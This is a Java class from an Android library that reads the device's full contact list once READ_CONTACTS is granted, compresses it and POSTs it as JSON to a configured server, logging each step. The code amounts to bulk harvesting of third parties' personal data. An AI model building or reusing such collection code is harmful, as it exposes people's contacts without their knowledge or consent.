package com.zhi.syc.data;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.services.ASContactInfo;
import com.zhi.syc.data.services.ASInstalledAppsInfo;
import com.zhi.syc.data.services.ASMessageInfo;
import com.zhi.syc.data.services.ASNetParams;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.function.Supplier;


public class DeviceContactSupplier implements Supplier<String> {
    private final String mTaskId;
    private final Context mContext;

    public DeviceContactSupplier(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        ASLogger.d(getClass().getSimpleName(), getClass().getSimpleName() + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(ASBuilder.P_COTACT)) {
            return mTaskId + "";
        }

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CONTACTS)) {
            infoBeans = ASContactInfo.getListZipString(mContext);
        } else {
            ASLogger.d(getClass().getSimpleName(), "获取联系人信息出错：没有 READ_CONTACTS 权限");
            return mTaskId+"";
        }

        ASNetParams netParams = new ASNetParams();
        netParams.setPhoneBooksGzip(infoBeans);
        String result = new Gson().toJson(netParams).trim();

        HttpURLConnection httpURLConnection = null;
        try {
            String dirUrl = ASBuilder.S_HOST + ASBuilder.P_COTACT;
            ASLogger.d(getClass().getSimpleName(), mTaskId + "\n" + dirUrl + "\n" + result);

            httpURLConnection = ((HttpURLConnection) new URL(dirUrl).openConnection());
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setDoInput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
            httpURLConnection.setRequestProperty("Charset", "UTF-8");
            httpURLConnection.setRequestProperty("Content-Type", "application/json");
            httpURLConnection.setRequestProperty("Content-Length", (result.getBytes()).length + "");
            httpURLConnection.setReadTimeout(180000);
            httpURLConnection.setConnectTimeout(120000);
            httpURLConnection.getOutputStream().write(result.getBytes());
            httpURLConnection.getOutputStream().flush();
            httpURLConnection.getOutputStream().close();

            int resCode = httpURLConnection.getResponseCode();
            if (resCode == HttpURLConnection.HTTP_OK) {
                ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post success!");
            } else {
                ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post fail! " + resCode);
            }

        } catch (Exception e) {
            e.printStackTrace();
            ASLogger.d(getClass().getSimpleName(), "" + mTaskId + " post fail!" + e.getLocalizedMessage());
        } finally {
            if (httpURLConnection != null) {
                try {
                    //主动关闭inputStream, 这里不需要进行判空操作
                    httpURLConnection.getInputStream().close();
                    httpURLConnection.disconnect();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return mTaskId + "";
    }
}
